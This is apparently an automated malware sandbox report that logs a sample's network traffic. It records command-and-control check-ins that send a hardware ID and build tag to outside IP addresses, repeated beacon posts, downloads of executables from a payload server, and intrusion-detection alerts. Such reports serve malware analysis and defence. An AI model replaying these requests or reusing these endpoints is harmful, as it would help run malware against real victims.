Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="build"tale------AFHDBGHJKFIDHJJJEBKE--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="build"tale------KKKJEHCGCGDAAAKFHJKJ--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="build"tale------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build"tale------BGIJDGCAEBFIIECAKFHI--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 34.149.100.209 34.149.100.209
Source: Joe Sandbox View IP Address: 185.215.113.16 185.215.113.16
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49757 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49787 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49794 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49960 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:62898 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
